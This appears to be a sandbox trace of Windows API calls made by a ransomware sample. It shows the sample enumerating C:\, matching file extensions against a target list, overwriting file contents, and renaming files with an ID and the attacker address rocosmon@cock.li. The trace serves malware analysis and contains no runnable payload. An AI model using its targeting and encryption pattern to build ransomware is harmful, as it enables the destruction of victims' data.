	[0103.204] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0103.204] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0103.295] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x390fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.295] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0103.295] ReadFile (in: hFile=0x204, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e00058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0103.364] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fec8 | out: lpNewFilePointer=0x0) returned 1
	[0103.364] WriteFile (in: hFile=0x204, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x390fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x390fcb0*=0xc0104, lpOverlapped=0x0) returned 1
	[0103.379] SetEndOfFile (hFile=0x204) returned 1
	[0103.859] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f402b0
	[0103.862] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0103.862] WriteFile (in: hFile=0x204, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0103.863] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0103.863] WriteFile (in: hFile=0x204, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0103.866] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0103.866] WriteFile (in: hFile=0x204, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0103.867] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f402b0 | out: hHeap=0x4a0000) returned 1
	[0103.867] CloseHandle (hObject=0x204) returned 1
	[0103.867] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0103.868] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0103.868] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0103.868] lstrlenW (lpString=".doc") returned 4
	[0103.868] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0103.868] lstrlenW (lpString=".docx") returned 5
	[0103.868] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1
	[0103.868] lstrlenW (lpString=".pdf") returned 4
	[0103.868] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0103.868] lstrlenW (lpString=".xls") returned 4
	[0103.868] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0103.868] lstrlenW (lpString=".xlsx") returned 5
	[0103.868] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1
	[0103.868] lstrlenW (lpString=".ppt") returned 4
	[0103.868] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0103.868] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0103.868] lstrlenW (lpString=".zip") returned 4
	[0103.868] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0103.868] lstrlenW (lpString=".rar") returned 4
	[0103.868] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0103.868] lstrlenW (lpString=".bz2") returned 4
	[0103.868] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0103.868] lstrlenW (lpString=".7z") returned 3
	[0103.868] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0103.868] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0103.868] lstrlenW (lpString=".dbf") returned 4
	[0103.868] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0103.868] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0103.868] lstrlenW (lpString=".1cd") returned 4
	[0103.868] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0103.868] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0103.869] lstrlenW (lpString=".jpg") returned 4
	[0103.869] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0103.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0103.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0103.869] lstrlenW (lpString=".doc") returned 4
	[0103.869] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0103.869] lstrlenW (lpString=".docx") returned 5
	[0103.869] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1
	[0103.869] lstrlenW (lpString=".pdf") returned 4
	[0103.869] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0103.869] lstrlenW (lpString=".xls") returned 4
	[0103.869] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0103.869] lstrlenW (lpString=".xlsx") returned 5
	[0103.869] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1
	[0103.869] lstrlenW (lpString=".ppt") returned 4
	[0103.869] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0103.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0103.869] lstrlenW (lpString=".zip") returned 4
	[0103.869] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0103.869] lstrlenW (lpString=".rar") returned 4
	[0103.869] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0103.869] lstrlenW (lpString=".bz2") returned 4
	[0103.869] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0103.869] lstrlenW (lpString=".7z") returned 3
	[0103.869] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0103.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0103.869] lstrlenW (lpString=".dbf") returned 4
	[0103.869] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0103.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0103.869] lstrlenW (lpString=".1cd") returned 4
	[0103.869] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0103.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0103.869] lstrlenW (lpString=".jpg") returned 4
	[0103.869] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0103.870] lstrcmpiW (lpString1=".msi", lpString2=".4k") returned 1
	[0103.870] lstrlenW (lpString="Office32WW.msi") returned 14
	[0103.870] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0103.870] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x390ff1c | out: lpFileSize=0x390ff1c*=1992192) returned 1
	[0103.870] CloseHandle (hObject=0x204) returned 1
	[0103.870] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020
	[0103.871] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0103.871] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0103.871] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0103.871] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc6c | out: lpNewFilePointer=0x0) returned 1
	[0103.871] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0103.871] ReadFile (in: hFile=0x204, lpBuffer=0x3d80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d80058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0103.980] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0103.980] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0104.495] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x390fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.495] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0104.495] ReadFile (hFile=0x204, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0) 

Thread:
	id = 20
	os_tid = 0xaac

	[0088.057] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3681078
	[0088.058] lstrlenW (lpString="C:") returned 2
	[0088.058] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3a4fd00 | out: lpFindFileData=0x3a4fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x35d0570
	[0088.058] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15
	[0088.058] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1
	[0088.058] lstrlenW (lpString="$Recycle.Bin") returned 12
	[0088.058] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1
	[0088.058] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3691080
	[0088.059] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15
	[0088.059] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x3a4fa84 | out: lpFindFileData=0x3a4fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x35d05b0
	[0088.059] FindNextFileW (in: hFindFile=0x35d05b0, lpFindFileData=0x3a4fa84 | out: lpFindFileData=0x3a4fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.059] FindNextFileW (in: hFindFile=0x35d05b0, lpFindFileData=0x3a4fa84 | out: lpFindFileData=0x3a4fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0088.059] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62
	[0088.059] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1
	[0088.059] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46
	[0088.060] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1
	[0088.060] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x36a1088
	[0088.060] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62
	[0088.060] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x3a4f808 | out: lpFindFileData=0x3a4f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593930
	[0088.060] FindNextFileW (in: hFindFile=0x593930, lpFindFileData=0x3a4f808 | out: lpFindFileData=0x3a4f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.060] FindNextFileW (in: hFindFile=0x593930, lpFindFileData=0x3a4f808 | out: lpFindFileData=0x3a4f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0088.061] lstrlenW (lpString="desktop.ini") returned 11
	[0088.061] lstrlenW (lpString=".1cd") returned 4
	[0088.061] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0088.061] lstrlenW (lpString=".3ds") returned 4
	[0088.061] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1
	[0088.061] lstrlenW (lpString=".3fr") returned 4
	[0088.061] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1
	[0088.061] lstrlenW (lpString=".3g2") returned 4
	[0088.061] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1
	[0088.061] lstrlenW (lpString=".3gp") returned 4
	[0088.061] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1
	[0088.061] lstrlenW (lpString=".7z") returned 3
	[0088.061] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0088.061] lstrlenW (lpString=".accda") returned 6
	[0088.061] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1
	[0088.061] lstrlenW (lpString=".accdb") returned 6
	[0088.061] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1
	[0088.061] lstrlenW (lpString=".accdc") returned 6
	[0088.061] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1
	[0088.062] lstrlenW (lpString=".accde") returned 6
	[0088.062] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1
	[0088.062] lstrlenW (lpString=".accdt") returned 6
	[0088.062] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1
	[0088.062] lstrlenW (lpString=".accdw") returned 6
	[0088.062] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1
	[0088.062] lstrlenW (lpString=".adb") returned 4
	[0088.062] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1
	[0088.062] lstrlenW (lpString=".adp") returned 4
	[0088.062] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1
	[0088.062] lstrlenW (lpString=".ai") returned 3
	[0088.062] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1
	[0088.062] lstrlenW (lpString=".ai3") returned 4
	[0088.062] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1
	[0088.063] lstrlenW (lpString=".ai4") returned 4
	[0088.063] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1
	[0088.063] lstrlenW (lpString=".ai5") returned 4
	[0088.063] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1
	[0088.063] lstrlenW (lpString=".ai6") returned 4
	[0088.063] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1
	[0088.063] lstrlenW (lpString=".ai7") returned 4
	[0088.063] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1
	[0088.063] lstrlenW (lpString=".ai8") returned 4
	[0088.063] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1
	[0088.063] lstrlenW (lpString=".anim") returned 5
	[0088.063] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1
	[0088.063] lstrlenW (lpString=".arw") returned 4
	[0088.063] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1
	[0088.063] lstrlenW (lpString=".as") returned 3
	[0088.063] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1
	[0088.063] lstrlenW (lpString=".asa") returned 4
	[0088.063] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1
	[0088.063] lstrlenW (lpString=".asc") returned 4
	[0088.064] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1
	[0088.064] lstrlenW (lpString=".ascx") returned 5
	[0088.064] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1
	[0088.064] lstrlenW (lpString=".asm") returned 4
	[0088.064] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1
	[0088.064] lstrlenW (lpString=".asmx") returned 5
	[0088.064] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1
	[0088.064] lstrlenW (lpString=".asp") returned 4
	[0088.064] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1
	[0088.064] lstrlenW (lpString=".aspx") returned 5
	[0088.064] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1
	[0088.064] lstrlenW (lpString=".asr") returned 4
	[0088.064] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1
	[0088.064] lstrlenW (lpString=".asx") returned 4
	[0088.064] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1
	[0088.064] lstrlenW (lpString=".avi") returned 4
	[0088.064] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1
	[0088.064] lstrlenW (lpString=".avs") returned 4
	[0088.065] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1
	[0088.065] lstrlenW (lpString=".backup") returned 7
	[0088.065] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1
	[0088.065] lstrlenW (lpString=".bak") returned 4
	[0088.065] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1
	[0088.065] lstrlenW (lpString=".bay") returned 4
	[0088.065] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1
	[0088.065] lstrlenW (lpString=".bd") returned 3
	[0088.065] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1
	[0088.065] lstrlenW (lpString=".bin") returned 4
	[0088.065] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1
	[0088.065] lstrlenW (lpString=".bmp") returned 4
	[0088.065] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1
	[0088.065] lstrlenW (lpString=".bz2") returned 4
	[0088.065] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0088.065] lstrlenW (lpString=".c") returned 2
	[0088.065] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1
	[0088.065] lstrlenW (lpString=".cdr") returned 4
	[0088.066] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1
	[0088.066] lstrlenW (lpString=".cer") returned 4
	[0088.066] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1
	[0088.066] lstrlenW (lpString=".cf") returned 3
	[0088.066] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1
	[0088.066] lstrlenW (lpString=".cfc") returned 4
	[0088.066] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1
	[0088.066] lstrlenW (lpString=".cfm") returned 4
	[0088.066] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1
	[0088.066] lstrlenW (lpString=".cfml") returned 5
	[0088.066] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1
	[0088.066] lstrlenW (lpString=".cfu") returned 4
	[0088.066] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1
	[0088.066] lstrlenW (lpString=".chm") returned 4
	[0088.066] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1
	[0088.066] lstrlenW (lpString=".cin") returned 4
	[0088.066] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1
	[0088.066] lstrlenW (lpString=".class") returned 6
	[0088.066] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1
	[0088.066] lstrlenW (lpString=".clx") returned 4
	[0088.066] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1
	[0088.066] lstrlenW (lpString=".config") returned 7
	[0088.066] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1
	[0088.066] lstrlenW (lpString=".cpp") returned 4
	[0088.066] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1
	[0088.066] lstrlenW (lpString=".cr2") returned 4
	[0088.066] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1
	[0088.066] lstrlenW (lpString=".crt") returned 4
	[0088.067] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1
	[0088.067] lstrlenW (lpString=".crw") returned 4
	[0088.067] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1
	[0088.067] lstrlenW (lpString=".cs") returned 3
	[0088.067] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1
	[0088.067] lstrlenW (lpString=".css") returned 4
	[0088.067] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1
	[0088.067] lstrlenW (lpString=".csv") returned 4
	[0088.067] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1
	[0088.067] lstrlenW (lpString=".cub") returned 4
	[0088.067] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1
	[0088.067] lstrlenW (lpString=".dae") returned 4
	[0088.067] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1
	[0088.067] lstrlenW (lpString=".dat") returned 4
	[0088.067] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1
	[0088.067] lstrlenW (lpString=".db") returned 3
	[0088.067] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1
	[0088.067] lstrlenW (lpString=".dbf") returned 4
	[0088.067] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0088.067] lstrlenW (lpString=".dbx") returned 4
	[0088.067] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1
	[0088.067] lstrlenW (lpString=".dc3") returned 4
	[0088.067] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1
	[0088.067] lstrlenW (lpString=".dcm") returned 4
	[0088.067] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1
	[0088.067] lstrlenW (lpString=".dcr") returned 4
	[0088.067] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1
	[0088.067] lstrlenW (lpString=".der") returned 4
	[0088.067] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1
	[0088.067] lstrlenW (lpString=".dib") returned 4
	[0088.068] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1
	[0088.068] lstrlenW (lpString=".dic") returned 4
	[0088.068] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1
	[0088.068] lstrlenW (lpString=".dif") returned 4
	[0088.068] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1
	[0088.068] lstrlenW (lpString=".divx") returned 5
	[0088.068] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1
	[0088.068] lstrlenW (lpString=".djvu") returned 5
	[0088.068] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1
	[0088.068] lstrlenW (lpString=".dng") returned 4
